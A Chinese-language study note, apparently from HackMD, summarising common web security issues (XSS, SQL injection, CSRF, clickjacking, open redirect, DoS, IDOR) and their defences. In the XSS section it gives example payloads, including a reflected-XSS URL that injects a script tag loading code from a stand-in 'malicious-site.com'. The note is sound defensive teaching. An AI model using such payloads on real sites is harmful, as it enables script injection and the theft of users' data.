--- tags: Note --- # 幾個你必須知道的資安問題 ## XSS (Cross-site scripting) > 利用在輸入欄位輸入 JS 的 script tag 來造成攻擊,透過在輸入框輸入一些特殊語法,規避掉字元的規則(或是程式本身沒有做好字串驗證),使原本應該是單純字串的部分,變成可以執行的程式碼,與下一個要介紹的攻擊類型 SQL Injection 可謂有異曲同工之妙。 ### 類型 - Stored - 把 JavaScript 程式儲存在後端資料庫裡 - 例 `<script>alert(‘你被攻擊啦!’)</script>` - Reflected - 將 script 藏在 URL 網址列中,並透過 GET 參數傳遞,通常會經 URL 轉譯,讓連結看起來不可疑 - 例 ```http://localhost:8080/reflected-xss-demos/?username='><script src='http://malicious-site.com/malicious.js'></script><a href='``` - DOM Based - 頁面中使用如 innerHTML 等語法,就有注入 JS 程式碼的機會,注入 JS 程式碼可能造成 cookie 資料被偷走傳到攻擊者的 server。 ### 防範 輸入驗證可以做,多一層保障,但輸出的 encoding 才是解決 XSS 的根本之道,原因是讓瀏覽器不會任意執行 JavaScript code。 --- ## SQL Injection > SQL 注入,在網頁中輸入欄位輸入包含惡意的 SQL 指令字串時 (更改語法邏輯或加入特殊指令),若沒做好字元的判斷與處理,背後的 database 會直接接收使用者輸入的 SQL 指令。 > > 可能造成的損害 > - 獲得其他使用者的個人資訊 > - 惡意刪除、修改資料庫中的資料 > - 嚴重的話甚至可以讓被攻擊的企業直接倒閉 ### 防範 - 限制輸入字元格式、檢查輸入長度,對進入資料庫的特殊字符進行轉譯處理、編碼轉換。 - 用正規表達式驗證並過濾輸入值與參數中惡意代碼,將輸入值中的單引號置換為雙引號。 - 不直接拼接 SQL 語句,以「參數化」方式產生資料庫最終執行 SQL query(大部分的 ORM 都有做這件事,因此有人會說使用 ORM 比起直接下 SQL query 還要安全一點),不僅較安全,效能也會比直接拼接 SQL 還要來得好。([參數化查詢](https://zh.m.wikipedia.org/wiki/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2)) - 針對字元檢查,設定資料庫中使用者的帳號權限,限制某些管道使用者無法作資料庫存取也是一個防範的做法,就算被攻擊也可以盡量把傷害降到最低。 --- ### CSRF > Cross Site Request Forgery,跨站請求偽造,也稱 one-click attack。 > 利用瀏覽器的 cookie 機制來製造攻擊機會。 ### 防範 - Client Side - 每次用完服務都手動登出 - Server Side - 檢查 request header referer - 加上圖形驗證機制 - Double Submit Cookie - 加上 CSRF Token (許多 framework 如 django 內建都有提供 CSRF Token 的機制) - SameSite Cookie (可以關注這個的未來發展) #### 更多細節:[讓我們來談談 CSRF](https://blog.techbridge.cc/2017/02/25/csrf-introduction/) / [CSRF 攻击和防御 - Web 安全常识](https://www.youtube.com/watch?v=gEPii2y3ISQ&ab_channel=%E4%BB%A3%E7%A0%81%E7%9C%9F%E9%A6%99) --- ### ClickJacking > 點擊劫持是 client side 的一種攻擊方式,把惡意的連結或用 iframe 嵌入的頁面隱藏起來,讓使用者在不知情的狀況下點擊該惡意連結或進行特定操作。 > (就是那些你很常看到的,「你中獎了」的網站。) ### 防範 - 在 http 的 header 加入對應的 key value - [X-Frame-Options](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Headers/X-Frame-Options) - [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) --- ### Open Redirect > 公開重定向。 > 轉址應用沒有做好驗證規則,攻擊者就可以讓連結 redirect 到他們的釣魚網站,來進一步盜取用戶的資訊。 ### 防範 - 關閉轉址功能 - 限定轉址的白名單網站 --- ### DOS > denial-of-service,阻斷服務攻擊,也稱洪水攻擊。 > - 利用短時間且大量的請求,導致被攻擊目標耗盡系統與網路資源 (就是讓服務炸掉) > - 利用兩個或以上被攻陷的主機,對目標服務進行阻斷服務攻擊,就叫分散式阻斷服務攻擊 (distributed denial-of-service attack),也就是 DDoS 攻擊。 ### 防範 - 防火牆 - 交換機 - 路由器 - 流量清洗 #### 更多細節:[How to Design a Scalable Rate Limiting Algorithm](https://konghq.com/blog/how-to-design-a-scalable-rate-limiting-algorithm/) --- ### Insecure Direct Object Reference Vulnerability > 網頁服務利用一個識別單位(例如 id)來獲取一個資源,但在沒有完善的檢查機制與權限控管下,攻擊者有可能直接獲取到其他使用者的資訊。 ### 防範 - 做好權限控管 - 改難以猜中的 uuid --- ## 資料來源 - [身為 Web 工程師,你一定要知道的幾個 Web 資訊安全議題](https://medium.com/starbugs/%E8%BA%AB%E7%82%BA-web-%E5%B7%A5%E7%A8%8B%E5%B8%AB-%E4%BD%A0%E4%B8%80%E5%AE%9A%E8%A6%81%E7%9F%A5%E9%81%93%E7%9A%84%E5%B9%BE%E5%80%8B-web-%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8%E8%AD%B0%E9%A1%8C-29b8a4af6e13) - [前端工程師常見的資安問題](https://linyencheng.github.io/2018/11/15/thinking-security/)
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up